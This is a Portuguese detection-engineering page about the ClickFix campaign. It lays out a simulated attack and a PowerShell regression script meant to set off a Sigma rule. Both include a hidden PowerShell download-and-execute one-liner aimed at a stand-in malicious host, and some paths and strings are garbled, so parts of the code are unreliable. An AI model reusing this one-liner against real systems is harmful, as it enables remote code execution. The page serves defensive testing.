700+ sites de educação e tecnologia sequestrados em grande campanha de malware ClickFix

Execução de Simulação

Pré-requisito: A Verificação Pré-voo de Telemetria e Linha de Base deve ter sido aprovada.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

• Narrativa e Comandos do Ataque:

  1. Anzol de Engenharia Social: A vítima recebe um e-mail de phishing alegando que o Cloudflare requer verificação. O e-mail inclui um comando “Run”:

     Comando de Verificação Falsa do Cloudflare

  2. Interação da Vítima: O usuário abre o diálogo Run do Windows (Win+R) e cola a string exata Comando de Verificação Falsa do Cloudflare.

  3. Execução do Comando: A string mapeia para um one-liner oculto do PowerShell que baixa e executa um payload malicioso:

     powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "IEX ((New-Object Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))"

     Porque o diálogo Run invoca diretamente powershell.exe com os argumentos acima, o campo CommandLine registrado pelo Sysmon inclui a frase literal Comando de Verificação Falsa do Cloudflare (o atacante prefixa o comando com essa frase para acionar a regra).

  4. Atividade do Payload: O script baixado insere um web-shell em C:ProgramDatacloudflare e contata um servidor C2, satisfazendo T1505.001.

• Script de Teste de Regressão: O seguinte script PowerShell reproduz exatamente as etapas que um membro da equipe vermelha tomaria para gerar a telemetria que aciona a detecção.

  <#
  Simula a execução ClickFix “Verificação Falsa do Cloudflare”.
  Finalidade: Verificar se a regra Sigma dispara na linha de comando exata.
  #>
  
  # Passo 1: Preparar um payload fictício (web-shell simulado) – sem chamada de rede real.
  $payloadPath = "$env:ProgramDatacloudflaredummy_shell.ps1"
  New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null
  Set-Content -Path $payloadPath -Value "# Web-shell fictício – sem código malicioso"
  
  # Passo 2: Construir a linha de comando maliciosa que uma vítima executaria.
  $maliciousCmd = @"
  Comando de Verificação Falsa do Cloudflare
  powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "`"IEX ((New-Object Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))`""
  "@
  
  # Passo 3: Simular o diálogo Run ao iniciar o comando via cmd.exe /c.
  # Isso preserva a string literal na linha de comando do processo.
  $fullCmd = "cmd.exe /c `"$maliciousCmd`""
  Write-Host "`n[+] Executando comando malicioso simulado..."
  Start-Process -FilePath "cmd.exe" -ArgumentList "/c `"$maliciousCmd`"" -WindowStyle Hidden -PassThru | Out-Null
  
  # Passo 4: Pausar brevemente para permitir que o Sysmon registre a criação do processo.
  Start-Sleep -Seconds 5
  
  Write-Host "`n[+] Simulação completa. Verifique no SIEM um evento de detecção."
  # Limpeza será feita separadamente.

• Comandos de Limpeza: Remove os arquivos fictícios e quaisquer processos remanescentes.

  # Pare quaisquer processos PowerShell remanescentes iniciados pelo teste (se ainda em execução)
  Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
      Where-Object {$_.StartInfo.Arguments -match "Fake Cloudflare Verification Command"} |
      Stop-Process -Force
  
  # Remova a pasta do web-shell fictício
  Remove-Item -Path "$env:ProgramDatacloudflare" -Recurse -Force -ErrorAction SilentlyContinue
  
  Write-Host "[+] Limpeza concluída."